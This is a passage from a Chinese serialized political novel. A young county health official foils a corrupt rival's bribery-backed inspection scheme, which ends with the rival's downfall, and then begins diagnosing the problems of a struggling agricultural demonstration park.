他坐在办公桌前,面前摊开的是一份市纪委下发的“医德医风建设专项督查”通知。
纸面上的文字,官方而严谨,但叶凡却从中嗅到了一丝不同寻常的味道。
“医德医风建设,这个时机,太巧了。”叶凡自言自语,手指轻轻敲击着桌面。
他知道柳传明不会善罢甘休。被边缘化,被“废物”反噬,这种耻辱感足以让一个老谋深算的政客做出任何疯狂的举动。
柳传明想反扑,而这个“专项督查”,很可能就是他借刀**的第一步。
他拿起电话,拨通了苏沐秋的号码。
“沐秋,帮我查一下,市纪委这次的‘医德医风建设专项督查’,具体是谁在负责牵头?有没有什么特别的背景?”
电话那头,苏沐秋的声音带着一丝惊讶:“这么快就行动了?我正想告诉你,柳传明最近确实有些异常,他频繁接触市纪委的几位领导,特别是**监察室的老王,听说关系不错。”
“果然。”叶凡的眼神更冷了几分,“看来,他想借着这次督查,给我找麻烦。”
“你打算怎么应对?”苏沐秋问。
“以其人之道,还治其人之身。”叶凡平静地说,“他想用纪律的刀来砍我,我就让这把刀,砍向他自己。”
苏沐秋在那头轻笑一声:“叶大局长,你这算盘,打得真响。放心吧,我立刻去查。不过,你可要小心,别阴沟里翻船了。”
“放心,我从来不打没准备的仗。”
挂了电话,叶凡陷入沉思。
柳传明想利用督查组来给自己“找茬”,无非是想从他主导的“城乡医疗一体化”项目中,找出一些“问题”,比如资金使用不规范、专家下乡敷衍了事、基层医院数据**等等。
他必须先发制人。
他叫来秘书小李:“小李,通知下去,从今天开始,我们卫生局要对全县所有医疗机构的‘城乡医疗一体化’项目落实情况,进行一次全面的自查自纠。特别是资金使用、人员考勤、医疗数据这三块,要细到每一个数字,精确到小数点后两位!”
小李有些惊讶:“叶局,不是说市里要来督查吗?我们现在自查,是不是有点……”
“就是要赶在他们前面!”叶凡目光如炬,“我们自己把问题找出来,把漏洞堵上。到时候,他们来查,就查无可查!”
他停顿了一下,语气变得严肃:“记住,这次自查,要动真格的。谁要是敢敷衍了事,或者隐瞒问题,一旦被市纪委查出来,后果自负!”
小李看着叶凡那不容置疑的眼神,立刻明白了他的用意。
他知道,叶局这是要打一场漂亮的“反击战”!
……
江城市,市纪委。
**监察室主任老王,正在办公室里和柳传明秘密会面。
“老柳啊,你说的那个青川县的叶凡,我们已经关注了。”老王端着茶杯,慢悠悠地说,“这小子最近风头确实太盛,一个副局长,搞得跟****似的。我们这次的医德医风督查,正好可以借机敲打敲打他。”
柳传明脸上露出一丝阴狠的笑容:“老王,你办事,我放心。不过,敲打可不够。这小子前段时间把我儿子的事捅出来,又逼得我女儿公开道歉,简直是欺人太甚!我希望你们能查出一些‘真凭实据’,把他彻底搞垮!”
老王放下茶杯,意味深长地笑了笑:“真凭实据嘛……这年头,哪个单位没点问题?关键看怎么查,查什么。听说他那个‘城乡医疗一体化’项目,资金量可不小,又是新搞的,漏洞肯定不少。”
“那就麻烦老王了。”柳传明从包里拿出一张银行卡,悄悄塞到老王手里,“这是一点心意,兄弟们辛苦了。”
老王掂了掂银行卡,脸上笑意更浓:“老柳,你太客气了。都是为人民服务嘛!”
两人相视一笑,一切尽在不言中。
……
青川县卫生局的自查自纠工作,在叶凡的亲自督导下,进行得如火如荼。
他不仅亲自下到乡镇卫生院,查看每一笔资金的流向,核对每一份病历的真实性,甚至还突击检查了专家下乡坐诊的考勤记录。
“王院长,你告诉我,这笔给村卫生室采购的医疗器械款,为什么会比市场价高出百分之十五?”叶凡指着一份采购清单,语气平静,却让云海镇卫生院的王院长冷汗直流。
“这……这个……叶局,可能……可能是有一些运输成本和管理费用……”王院长结结巴巴地解释。
“运输成本和管理费用,能占到百分之十五?还是在你们本地就有供应商的情况下?”叶凡拿起那份采购合同,眼神如刀,“王院长,我再给你一次机会,说实话。”
王院长腿一软,差点跪在地上。
他知道,叶凡是医生,对数字和细节的敏感度,远超常人。
“叶局,我错了!是我一时糊涂,收了那家供应商的好处,虚报了价格……”王院长供认不讳。
叶凡没有多说,只是让小李记录下来,并要求王院长立即退回差价,同时,责令其写一份深刻检讨。
像这样的“小问题”,叶凡在自查中,查出了不少。
他没有立刻上报,而是要求相关责任人限期整改,并追回不当得利。
他要做的,是把卫生局的“病灶”在市纪委到来之前,全部“切除”。
与此同时,苏沐秋那边也传来了消息。
“叶副局长,查到了!”苏沐秋在电话里语气兴奋,“市纪委这次督查组的组长,是**监察室主任王福海。副组长是高建国**的秘书张艳军。”
叶凡眼神一凝。
王福海是柳传明的人,这是意料之中。但高建国**的秘书张艳军,作为副组长,这就很有意思了。
“叶凡,你可要小心了。”苏沐秋提醒道,“这个张艳军,
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虽然是秘书,但背景不简单。他是高**一手提拔起来的,非常得高**信任。”
“我知道了。”叶凡的嘴角勾起一丝不易察觉的弧度。
螳螂捕蝉,黄雀在后。
柳传明以为他布下了一张天罗地网,殊不知,高建国**,也正在密切关注着这一切。
他将柳如烟给他的那份调查报告,从抽屉里拿出来,又仔细看了一遍。
是时候,让这把火,烧得更旺一些了。
……
三天后,市纪委“医德医风建设专项督查组”在组长王福海的带领下,浩浩荡荡地抵达青川县。
在欢迎会上,王福海板着脸,语气严肃:“这次督查,是**市政府高度重视医德医风建设的重要举措。我们督查组,将秉持实事求是、不偏不倚的原则,深入基层,查实情,找问题,绝不放过任何一个害群之马!”
他目光扫过青川县卫生局的班子成员,最后落在叶凡身上,眼神中带着一丝不易察觉的阴冷。
叶凡则面色平静,甚至带着一丝微笑,仿佛对即将到来的“大考”胸有成竹。
督查组首先听取了青川县卫生局关于“城乡医疗一体化”项目进展情况的汇报。
叶凡作为主要负责人,从项目启动、资金使用、人员配备、实际成效等方面,进行了详尽而全面的汇报,所有数据都精准到小数点后两位,所有案例都有案可查。
王福海听着听着,眉头越皱越紧。
他原本以为能从资金使用上找到突破口,可叶凡的汇报滴水不漏,每一笔钱的去向都清清楚楚,甚至比审计报告还要详细。
“叶副局长,你们的资金使用,倒是很透明啊。”王福海语气有些阴阳怪气,“不过,光看报告可不行。我们督查组,更注重实际。明天开始,我们将对你们的乡镇卫生院和县直医疗机构,进行突击检查。希望你们,能经得起考验。”
“随时欢迎。”叶凡微笑着回应,“我们青川县的医疗卫生事业,经得起任何考验。”
会议结束后,王福海回到下榻的酒店,立刻给柳传明打了电话。
“老柳,情况不太对劲。”王福海的声音有些烦躁,“那个叶凡,把功课做得太足了!他们卫生局最近搞了个什么自查自纠,把所有可能的问题都提前堵**。我刚才听他汇报,简直完美得像教科书!”
柳传明在电话那头沉默了片刻,语气阴沉:“不可能!他一个毛头小子,能把所有漏洞都堵死?他肯定有猫腻!你给我盯紧了,特别是他那个‘流动专家坐诊团’,是不是真的有专家下乡,有没有敷衍了事!还有,有没有收受红包回扣!”
“我明白了。”王福海挂断电话,眼中闪过一丝狠厉。
他就不信,一个小小的县卫生局副局长,能做到滴水不漏!
他要让叶凡知道,什么叫姜还是老的辣!
一场没有硝烟的战争,在青川县,正式打响。
第68章 请君入瓮,将计就计!
市纪委督查组的越野车,在崎岖的山路上颠簸了近两个小时,终于停在了青川县最偏远的黑石沟村村口。
组长王福海推开车门,揉着被颠麻的后腰,看着眼前这个穷得只剩下石头和黄土的村子,嘴角浮现一抹冷笑。
他特意在地图上,挑了这么个犄角旮旯。
他就不信,叶凡那小子的“专家坐诊”,还能真跑到这种鸟不拉屎的地方来。
副组长张艳军,那位高**的秘书,则安静地跟在后面,手里拿着个小本子,眼神平静,看不出任何情绪,像个置身事外的观察者。
“走,突击检查!我倒要看看,他们是怎么‘服务基层’的!”王福海一挥手,带着人雄赳-赳气昂昂地往村委会走去。
村委会是几间破旧的瓦房,门口却挂着一块崭新的牌子——“黑石沟村流动卫生服务点”。
王福海心里“咯噔”一下,推门而入。
预想中空无一人、蛛网遍结的景象没有出现。
一间不大的屋子里,挤满了村民,虽然简陋,却收拾得干干净净。
一个头发花白、戴着老花镜的老医生,正耐心地给一个孩子听诊。
旁边两个穿着白大褂的年轻护士,在给村民量血压、发药,忙而不乱。
王福海定睛一看,那个老医生,不是县人民医院最难搞的骨科专家陈国栋吗?
出了名的臭脾气,以前请他去市里开会都得三催四请,今天居然会窝在这种山沟里?
“陈教授?”王福海试探着叫了一声。
陈国栋抬起头,扶了扶眼镜,看到王福海,只是淡淡地点了点头,便又低下头继续给孩子看病,嘴里嘟囔着:“下一个,别挤。”
一个满脸褶子的大娘,看见王福海这群穿着干部服的城里人,立马热情地迎了上来,一把抓住他的手:“哎呀!你们也是市里来的领导吧?快替我们谢谢党,谢谢叶局长!给我们派来了活菩萨啊!”
她不由分说,从兜里掏出两个还带着体温的土鸡蛋,硬要往王福海手里塞:“领导,你们辛苦了,吃个蛋,补补身子!”
王福海拿着那两个温热的鸡蛋,一张脸憋得通红,推也不是,接也不是,样子要多尴尬有多尴尬。
“大娘,我们是来检查工作的。”他干咳两声,试图挽回一点领导的威严。
“检查啥呀!”大娘嗓门更大了,“陈教授看得可好了!我这几十年的老寒腿,他给扎了几针,立马就利索了!叶局长说了,以后专家每个礼拜都来!这政策,真是到我们心坎里了!”
王福海的脸,彻底黑了。
他走到陈国栋旁边,皮笑肉不笑地问:“陈教授,辛苦了。来这么艰苦的地方,是……组织上安排的?”
陈国栋写完药方,这才抬起头,慢悠悠地说:“王组长,我是一名医生,给病人看病,天经地义,不分地方贵贱。再说了,叶局长定的新规矩,我们下乡坐诊,绩效和补贴都比在医院里高。更重要的是,看着这些乡亲们能看得上病,我这心里头,踏实。”
他顿了顿,摘下眼镜擦了擦,意有所指地说:“不像有些坐办公室的,总觉得我们这些拿手术刀的,就该在城里享福。他们不懂,医生的根,在病人身上。”
王福海被噎得半天说不出话,一张老脸涨成了猪肝色。
他感觉自己这一拳,像是打在了一团棉花上,不,是打在了一块裹着棉花的铁板上。
副组长张艳军,自始至终没说话,只是在本子上飞快地记录着什么,嘴角似乎有一丝若有若无的笑意。
……
与此同时,青川县城的一家咖啡馆里。
苏沐秋的手机震动了一下,是叶凡发来的信息。
“鱼已入网,可以收线了。”
苏沐秋笑了笑,回复:“遵命,叶大局长。不过网撒出去了,渔夫可是欠我一顿大餐。”
信息刚发出去,叶凡的电话就打了过来。
“光吃饭怎么够?”电话那头,叶凡的声音带着笑意,“我最近在研究川菜,等你忙完,给你露一手水煮鱼,怎么样?”
“谁告诉你我喜欢吃辣的?”苏沐秋嘴上反驳,脸颊却不自觉地有些发烫,心跳也乱了半拍,“……行吧,我等着。厨房烧了可别找我。”
“放心,拿手术刀的手,稳得很。”
挂了电话,苏沐秋脸上的红晕还未褪去,眼神却已变得锐利。
她打开笔记本电脑,将一篇早就编辑好的文章,通过一个加密邮箱,发给了省报新媒体部的同学。
文章的标题很普通:《高价背后的秘密——起底江城“康达医疗”器械垄断链》。
文章内容,却像一枚精准的**。
它详细披露了康达医疗器械公司,如何通过高额回扣,垄断了江城多家公立医院的采购渠道,其产品价格普遍比市场价高出百分之三十以上。
通篇文章,没有提一个官员的名字。
只在结尾处,看似不经意地提了一句:“据知情人士透露,康达公司的老板,是江城市某位‘热爱书法艺术’的文联领导的固定麻将搭子。”
……
黑石沟村卫生服务点
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。
王福海一计不成,又生一计。
他指着室内一台崭新的心电图机,厉声问道:“这台设备,是哪里采购的?手续合规吗?有没有招标?”
村支书连忙递上一份文件:“领导,这是我们县卫生局统一采购配发的,手续都在这儿呢。我们本来申请的是康达公司的,市里医院都用那个牌子。可叶局长亲自带人来考察,说康达的机器又贵又爱坏,不适合我们山里用。”
“后来,叶局长亲自去跟厂家谈,用买一台康达机器的钱,给我们全县十几个贫困村,都配上了这种国产的,还带三年的免费维保。给我们县里,省了一大笔钱呢!”
王福海的脑袋“嗡”的一声,像是被重锤砸中。
柳传明私下交代过他,这次督查的一个重点,就是查叶凡有没有在采购上,用“劣质产品”替代“推荐品牌”,吃拿卡要。
可现在,叶凡不仅没用那个关联着柳家的康达,还用一种无可辩驳的方式,证明了自己的选择才是最廉洁、最高效、最符合群众利益的!
这已经不是打脸了,这是把他王福海和背后的柳传明,按在地上,用鞋底反复摩擦。
他下意识地看向副组长张艳军。
张艳军合上本子,脸上第一次露出了清晰的笑容,对村支书说:“老乡,叶凡同志这种为民办实事的好干部,你们要支持。我们也会把青川县的好做法,向**高**如实汇报。”
王福海只觉得一阵天旋地转,后背的冷汗,瞬间湿透了衬衫。
返回县城的路上,车里死一般寂静。
王福海的手机突然疯狂震动起来,是好几个市里同僚发来的链接。
他点开一个,正是苏沐秋写的那篇关于“康达医疗”的报道。
当他看到“热爱书法艺术的文联领导”和“固定麻将搭子”这些字眼时,握着手机的手,剧烈地颤抖起来。
他明白了。
叶凡根本不是在防守。
在他带着人一头扎进黑石沟这个圈套的同时,叶凡的另一把刀,已经悄无声息地,插向了柳传明的心脏!
猎人,在踏入陷阱的那一刻,就变成了猎物。
王福海瘫在座椅上,面如死灰。他知道,自己完了。
他不是被叶凡打败的,他是被柳传明当成了过河的卒子,如今连人带棋盘,都被对方掀翻了。
前排,副组长张艳军的手机也亮了一下,他看了一眼信息,然后拨通了一个电话。
“**,青川这边……很有意思。我觉得,您应该亲自来看一看。”
第69章 **震动,柳家覆灭!
市纪委督查组抵达青川县的第三天,****高建国,在没有任何预兆的情况下,突然降临青川。
他没有惊动任何人,直接去了县委大院。
当王福海和张艳军在汇报室见到高建国时,两人都吓了一跳。
王福海脸色煞白,知道大事不妙;张艳军则神色如常,只是眼神中多了一丝不易察觉的兴奋。
“王福海同志,你把这次督查的情况,原原本本给我汇报一遍。”高建国坐在会议桌主位,语气平静,却带着不容置疑的威严。
王福海擦了擦额头的冷汗,结结巴巴地汇报起来。
他不敢隐瞒在黑石沟村的遭遇,也不敢**。
当他提到叶凡在医疗器械采购上的“高明”操作时,高建国的眼神不着痕迹地瞟了张艳军一眼。
张艳军会意,适时地补充道:“**,我昨天也去县人民医院看了。叶凡同志上任后,对骨科主任钱斌的处理,雷厉风行。他不仅查出了钱斌收受回扣、虚报采购价的问题,还发现康达医疗器械公司在与县医院的合作中,存在大量不合理加价。据初步统计,仅人民医院一家,三年内因康达公司设备采购,就多支付了近五百万。”
“五百万?”高建国眉头微皱,声音拔高了几分,“这么大的问题,纪委之前为什么没有发现?”
王福海的头,几乎要埋到胸口。
他知道,这把火已经烧到自己身上了。
高建国没有理会他,转头看向张艳军:“你刚才说,康达医疗器械公司,和市里某些人有联系?”
张艳军递上一份文件,正是苏沐秋昨天发给省报新媒体的那篇文章。
“**,这是省报新媒体昨天发布的一篇深度调查。虽然没有点名,但字里行间,都指向了市文联的柳传明主席。”
高建国接过文件,只看了一眼,脸色就彻底沉了下来。
他不是傻子,自然明白文章中那些隐晦的指代意味着什么。
“柳传明……好一个‘热爱书法艺术’的文联主席!”高建国猛地一拍桌子,发出沉闷的响声,“吃相太难看!简直是败坏党纪国法!”
王福海吓得浑身一哆嗦,知道柳传明这次彻底完了。
“王福海,你们纪委,有没有对康达医疗器械公司的问题,进行过深入调查?”高建国眼神如刀,直刺王福海。
王福海支支吾吾,冷汗直流:“回……回**,我们之前……没有接到相关举报,所以……”
“没有接到举报,就是你们不作为的理由吗?!”高建国厉声喝道,“一个县级医院,三年多支付五百万,这背后牵扯的利益链条有多大?你们纪委是干什么吃的?!”
王福海被骂得狗血淋头,一句话也不敢反驳。
“张艳军,你立刻召集市纪委精干力量,成立专案组,对康达医疗器械公司及其背后的利益链条,进行彻查!一查到底,绝不姑息!”高建国果断下令,“王福海,你作为**监察室主任,负有领导责任,立即停职检查,配合专案组调查!”
“是!**!”张艳军立刻起身,声音洪亮。
王福海如遭雷击,双腿一软,差点瘫倒在地。他知道,自己这次是真的栽了。
高建国转头看向窗外,目光深邃。
“青川县的叶凡同志……是个好同志。有魄力,有担当,敢于碰硬。这样的人,我们市里需要!”
他停顿了一下,语气变得意味深长:“张艳军,你多和叶凡同志接触,向他学习学习。他身上,有很多值得我们年轻干部学习的地方。”
张艳军微微一笑:“**,我明白。”
……
当天下午,市纪委专案组,在张艳军的带领下,雷霆出击,对康达医疗器械公司进行了突击检查,冻结了其所有账户,并控制了公司主要负责人。
与此同时,市文联的柳传明正在办公室里悠闲地喝茶,等着王福海给他传来叶凡被查处的好消息。
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突然,办公室的门被推开,几名市纪委的工作人员,面色严肃地走了进来。
“柳传明同志,我们是市纪委的。根据上级指示,请你跟我们走一趟,协助调查。”
柳传明手里的茶杯,“啪”的一声掉在地上,碎了一地。
他脸色惨白,双腿发软,他知道,一切都完了。
他想到了叶凡,那个曾经被他视为“废物”的男人。
他想到了叶凡那双平静却带着冷意的眼睛。
他以为自己是一手遮天的幕后黑手,却没想到,自己才是被**于股掌之间的棋子。
……
两天后,市纪委发布通报:柳传明因涉嫌严重违纪违法,接受纪律审查和监察调查。其子柳志鹏,在狱中因涉嫌多项刑事犯罪,被追加调查。康达医疗器械公司,因涉嫌非法经营、商业贿赂等多项罪名,被依法查封,主要负责人被批捕。
消息一出,整个江城市官场震动。
苏沐秋在办公室里,看着手机上的新闻推送,嘴角勾起一丝得意的笑容。
她拿起手机,给叶凡发了一条信息:“叶大局长,柳家这棵老树,彻底倒了。你这把刀,真是又快又狠。”
叶凡很快回复:“不是我狠,是他们自己烂透了。”
“那今晚的日料和剥虾服务,是不是可以安排上了?”苏沐秋又发了一条,后面跟了一个“流口水”的表情。
“当然。今晚,青川县最好的日料店,我等你。”
叶凡看着手机,眼神柔和。
他知道,柳家倒台,不仅仅是自己的复仇,更是为青川县,为江城市,清除了一大毒瘤。
他走出办公室,抬头看向窗外。
阳光透过云层,洒在青川县的土地上,一切都显得那么生机勃勃。
他与柳家的恩怨,彻底画上了句号。
他与苏沐秋的感情,也在这场没有硝烟的战争中,悄然升温。
他知道,新的征程,才刚刚开始。
第70章 县府风云起,初探深水区!
柳家父子倒台的消息,像一阵飓风,席卷了江城市官场。
柳传明被查,柳志鹏被追加调查,康达医疗器械公司被查封,这一连串的震动,让所有人都嗅到了不同寻常的气息。
而这背后,青川县那个年轻的卫生局副局长叶凡的名字,开始在市级层面悄然流传。
他成了高**口中“有魄力、有担当”的典型,成了张艳军眼中“值得学习”的榜样。
在青川县,他的声望更是达到了顶峰。
无论是县委大院还是乡镇基层,提起叶凡,无人不竖起大拇指。
然而,叶凡并没有因此而放松。
他深知,官场如逆水行舟,不进则退。
柳家的覆灭,只是他仕途上的一个里程碑,而非终点。
他更加专注于“城乡医疗一体化”项目的推进。
在市纪委督查组离开后,他并未停止对医疗系统内部的“清栓”行动。
那些曾经抱有侥幸心理的医疗机构负责人,如今都战战兢兢,生怕叶凡哪天又神兵天降,查出点什么。
县人民医院的骨科主任钱斌被停职接受调查后,很快就供出了更多问题。
在确凿证据面前,钱斌被移送司法。
这一刀,彻底震慑了青川县医疗系统的顽疾。
曾经效率低下、问题频出的卫生系统,在叶凡的铁腕治理下,焕发出前所未有的活力。
“叶局,这是这个月‘流动专家坐诊团’的排班表,所有专家都已确认,并且都主动要求增加下乡次数。”马德龙局长坐在叶凡办公室里,递上一份文件,脸上堆满了谄媚的笑容。
叶凡接过表,扫了一眼,点了点头:“不错,马局长,看来大家的工作积极性都提高了。”
“都是叶局长领导有方,马德龙佩服得五体投地!”马德龙拍着马屁,又凑近了些,“对了,叶局,我听说市里最近对我们青川县的医疗一体化项目,非常重视,高**还亲自点名表扬了您。”
叶凡放下文件,看向马德龙:“马局长,这些传闻,听听就好。我们的工作,要落到实处,让老百姓真正受益,才是最重要的。”
马德龙连连点头,心里却明白,叶凡这是要飞黄腾达了。
处理完手头的工作,叶凡回到宿舍。
手机震动了一下,是苏沐秋发来的信息。
“叶大局长,忙什么呢?今晚有空吗?我请你吃烧烤,为你庆功!”
叶凡笑了笑,回复:“有空。不过庆功就不必了,算是犒劳你这个‘递刀人’。”
苏沐秋很快回复了一个“哼”的表情,后面跟着:“少贫嘴!说好了我请客,你可不许抢着买单!”
夜幕降临,青川县城,一家不起眼的烧烤店里,炭火正旺。
苏沐秋穿着一件休闲的牛仔外套,头发扎成马尾,少了平时工作时的干练,多了几分少女的俏皮。
她熟练地翻烤着羊肉串,肉串滋滋冒油,香气扑鼻。
“叶局长,尝尝我的手艺!”她将烤好的肉串递给叶凡。
叶凡接过,咬了一口,赞道:“色香味俱全,苏大记者,你这手艺,不当记者可惜了。”
“切!马屁精!”苏沐秋白了他一眼,但嘴角却忍不住上扬。
两人边吃边聊,气氛轻松而愉快。
苏沐秋突然压低了声音:“叶凡,柳家的事情,彻底尘埃落定了。不过,我听说市里对王福海的处理,力度很大,他不仅被停职,还被立案调查了。这背后,是不是高**的意思?”
叶凡放下肉串,眼神深邃:“高**是位有魄力、有担当的领导。他不会允许任何人在他眼皮底下,搞那些乌烟瘴气的事情。”
“也是。”苏沐秋点了点头,随即又问:“那你下一步有什么打算?卫生局副局长,对你来说,是不是太小了点?”
叶凡笑了笑,没有直接回答,而是反问:“你觉得,青川县现在最大的问题是什么?”
苏沐秋愣了一下,思索片刻后说:“我觉得是发展不平衡。城乡差距大,经济发展缺乏亮点,很多项目资金短缺。”
“说得对。”叶凡看向窗外,夜色中的青川县城,霓虹闪烁,却依旧透着一丝落后与疲惫,“青川县这几年,在张**的带领下,确实上了不少项目,也取得了一些成绩。但步子迈得太大,资金缺口也越来越大。市里这次‘暂停拨款’,虽然被我们化解了,但也暴露了青川县财政的脆弱性。”
苏沐秋听着叶凡的分析,眼神渐渐变得认真。
她知道,叶凡不是那种只盯着自己一亩三分地的人,他看问题,总能看到更深层次。
“所以,你觉得青川县现在需要解决的是经济问题?”苏沐秋问。
“不只是经济问题,是发展模式的问题。”叶凡说,“张**的思路是‘大干快上’,但新上任得县长**,似乎有不同的看法。”
他终于提到了那个名字——**。
苏沐秋的表情也严肃起来:“**县长?我听说他比较保守,更注重稳扎稳打,而且他好像和市里某些老领导关系不错。”
“没错。”叶凡点了点头,“张**和李县长,在青川县的发展思路上,一直存在分歧。张**力主引进大项目,发展工业,而李县长则倾向于发展农业和旅游,注重生态保护。这次财政危机,让他们的矛盾,更加公开化了。”
“你作为张**一手提拔起来的人,现在又这么受高**器重,肯定会被卷入这场斗争。”苏沐秋有些担忧。
叶凡拿起一串烤鱼,慢慢地吃着,眼神平静:“这是无法避免的。不过,对我来说,无论在哪一边,我的底线始终是‘为民办事’。只要能解决问题,能让老百姓过上好日子,我不在乎站队。”
苏沐秋看着他,心里涌起一股暖流。
她知道,这才是真正的叶凡,一个有着医生仁心,却又深谙官场智慧的男人。
“那……你打算怎么做?”苏沐秋问。
“我听说**县长最近一直在推动一个‘青川生态农业示范园’的项目,想争取市里和省里的扶持资金。”叶凡
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嘴角勾起一丝不易察觉的弧度,“这个项目,目前进展不太顺利,遇到了一些技术上的难题。”
苏沐秋眼睛一亮:“你想……”
“我想去看看,能不能帮他解决一些‘技术问题’。”叶凡笑着说,“毕竟,我是医生,最擅长解决各种疑难杂症。”
苏沐秋扑哧一声笑了出来,她知道,叶凡又要开始他的“手术”了。
“不过,叶大局长,你可要小心了。”苏沐秋提醒道,“**县长可不像柳传明那样,是个可以轻易被激怒的莽夫。他老谋深算,手段高明,而且在青川县深耕多年,根基很深。”
“我明白。”叶凡眼中闪过一丝精光,“越是棘手的病症,越能考验一个医生的水平。”
他拿起最后一串烤肉,递给苏沐秋:“吃饱了吗?吃饱了,我们该回去了。”
苏沐秋接过烤肉,心里却涌起一股莫名的期待。
她知道,叶凡的下一步行动,一定会再次搅动青川县的风云。
而她,作为他最信任的“递刀人”,已经准备好了。
……
第二天一早,叶凡的办公室里,迎来了一位不速之客。
县长**的秘书,小王。
“叶局长,李县长请您过去一趟,说是有些事情,想听听您的意见。”小王语气客气,但眼神中却带着一丝不易察察的审视。
叶凡放下手中的文件,平静地说:“好,我这就过去。”
他知道,这是**县长在向他发出邀请。
县长办公室,宽敞明亮。
**坐在办公桌后,五十多岁,头发梳得一丝不苟,戴着一副金丝眼镜,看起来儒雅而沉稳。
他不像张海涛那样气势凌人,却给人一种深不可测的感觉。
“叶凡同志,请坐。”**指了指沙发,语气温和。
叶凡坐下,目光与**对视。
“叶凡同志,你最近在卫生局的工作,我都有所耳闻。特别是‘城乡医疗一体化’项目,搞得有声有色,为我们青川县赢得了荣誉,也为百姓带来了实惠。高**对你也是赞不绝口啊。”**先是夸赞了一番。
叶凡只是平静地听着,不置可否。
“不过,今天请你来,是想请你帮个忙。”**话锋一转,从抽屉里拿出一份文件,递给叶凡,“这是我们县里正在推动的‘青川生态农业示范园’项目,目前遇到了一些技术瓶颈,特别是土壤改良和农产品病虫害防治方面,一直没有好的解决方案。”
他看向叶凡,眼神中带着一丝探究:“你毕竟是医生出身,对生物、化学这些,应该比我们更懂。我想听听你的专业意见。”
叶凡接过文件,仔细地翻看起来。
他知道,这不仅仅是一份项目报告,更是**县长向他抛出的一个“橄榄枝”,同时也是一次试探。
他要做的,不是简单地给出意见,而是要用他那把无形的“手术刀”,精准地切入,找到真正的“病灶”。
一场新的较量,在县长办公室里,悄然拉开帷幕。
第71章 一针见血,直指病灶!
叶凡的目光在项目报告上缓缓移动,那双拿惯了手术刀的手指,此刻正轻轻敲击着沙发扶手,发出沉稳而有节奏的声响。
**没有催促,只是端起茶杯,轻轻吹着浮沫,眼神透过袅袅升起的水汽,不动声色地观察着眼前的年轻人。
他见过太多在他面前正襟危坐、言必称“领导高见”的干部,但叶凡身上那股沉静而专注的气场,却让他感到了一丝新奇。
足足十分钟后,叶凡才合上文件,抬起头。
“李县长,我不是农业专家,只能从一个医生的角度,谈谈我的看法。”
“但说无妨。”**做了个请的手势。
“这份报告,像一份写得不够严谨的病历。”叶凡开口,第一句话就让**秘书小王的眼皮跳了一下。
“哦?怎么说?”**来了兴趣。
“病历上写,病人‘浑身无力,食欲不振’,也就是报告里说的‘土壤贫瘠,作物长势不佳’。但病因是什么?是营养不良,还是内脏有病变?报告里只提到了要‘加强营养’,也就是加大化肥和农药投入,这属于头痛医头,脚痛医脚。”
叶凡的语速不快,但逻辑清晰得像手术刀划开的创口,精准而锐利。
“比如,报告里提到土壤改良,方案是引进市农科院推荐的复合肥。但黑石沟村的土壤是什么成分?酸碱度多少?缺乏哪种微量元素?适合种植什么作物?这些最基本的‘血常规’和‘CT’检查,报告里全都没有。”
他顿了顿,拿起那份文件,翻到病虫害防治那一页:“还有这里,说要引进最新的广谱杀虫剂。这就像一个病人有点咳嗽,就直接上最高级的抗生素,不管他是病毒感染还是细菌感染。万一杀**害虫,也把土壤里有益的微生物和授粉的益虫全干掉了怎么办?这叫‘菌群失调’,土地的免疫系统会彻底崩溃。”
**脸上的笑容渐渐收敛,眼神变得异常明亮。
他听出来了,叶凡不是在故弄玄虚,而是用一种他从未听过但又无可辩驳的逻辑,在解剖他的项目。
“那依叶凡同志看,应该怎么办?”
“先诊断,后治疗。”叶凡说,“我需要去现场看看,取一些土壤和水源的样本做化验。我还需要和当地的农技员、老乡们聊聊,了解这块地的‘既往病史’。只有拿到了第一手的、精确的诊断依据,我们才能开出最对症的‘药方’。”
他没有给出任何解决方案,而是提出了一个诊断流程。
**沉默了片刻,忽然笑了起来,那笑声中带着一种发现珍宝的欣赏。
“好!好一个‘先诊断,后治疗’!”他站起身,走到叶凡面前,语气里带着不加掩饰的赞许,“叶凡同志,你让我开了眼界!小王,你马上安排,明天陪叶局长去示范园,全力配合叶局长的工作!他需要什么,我们就提供什么!”
“是,县长!”秘书小王连忙应道,看向叶凡的眼神,已经从审视变成了敬佩。
叶凡知道,这场面试,他通过了。
他不仅递上了自己的“投名状”,更用自己的专业能力,赢得了这位老成持重的县长的尊重。
……
第二天,叶凡婉拒了县里派的车,自己开着那辆半旧的桑塔纳,载着秘书小王,来到了位于城郊的“青川生态农业示范园”。
示范园规模不小,但田里的景象却让人提不起精神。
蔬菜大棚里的番茄苗,叶片发黄,稀稀拉拉地挂着几个青涩的果子。
露天的玉米地里,玉米秆长得高矮不一,像营养不良的孩子。
几位县农业局派来的技术员和当地的农民,正围在一起唉声叹气。
“叶局长,您来了。”小王介绍道。
为首的一个戴着草帽、皮肤黝黑的老技术员,姓刘,上下打量了叶凡一番,眼神里带着几分不信任:“叶局长,听说您是医生?这地里的活儿,跟人身上可不一样。”
叶凡笑了笑,没反驳。
他蹲下身,捻起一撮泥土,在指尖搓了搓,又闻了闻。
“刘工,我问一下,这片地,去年种的是什么?”
“去年是西瓜。”刘技术员回答。
“前年呢?是不是花生?”
刘技术员愣住了:“您……您怎么知道?”
“这土壤里有股淡淡的腥味,而且土质板结,是典型的重茬连作导致的土壤病。”叶凡站起身,拍了拍手上的土,“人不能总吃一样东西,地也一样。连作西瓜,会加剧枯萎病的发生;连作花生,会让根腐病加重。你们年年这么种,又不进行深耕和轮作,这地早就‘生病’了。”
他又走到蔫头耷脑的玉米地边,指着一片玉米叶上不规则的黄白条纹:“你们看,这不是虫害,也不是肥烧的。这是缺锌。如果叶片中脉发白,那就是缺铁。病症不一样,用药就不能一样。”
一番话,说得在场的几个技术员和老农面面相觑,眼神从怀疑变成了震惊。
这些知识,他们有些也懂,但从未有人像叶凡这样,三言两语,就说得如此清晰透彻,一针见血。
那位刘技术员,更是老脸一红,态度立马一百八十度大转弯:“叶局长,您真是神了!我们之前也觉得不对劲,就是找不到根子!您说,我们该怎么办?”
“别急,我先取点样。”
叶凡从车里拿出早就准备好的采样箱,像在手术室里准备器械一样,一丝
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不苟地在不同地块取了土壤和水源样本,仔细标记。
整个下午,他几乎把整个示范园走了个遍,问得比看得多,记得比说得多。
秘书小王跟在后面,看着叶凡专注的背影,心里暗暗感叹:这位叶局长,哪里是在看地,分明是在给一片土地做一次最全面的专家会诊。
傍晚,返回县城的路上,叶凡的手机震动起来,是苏沐秋。
“喂,叶大局长,听说你今天下地体验生活去了?身上没沾泥巴吧?”电话那头,传来苏沐秋带着笑意的声音。
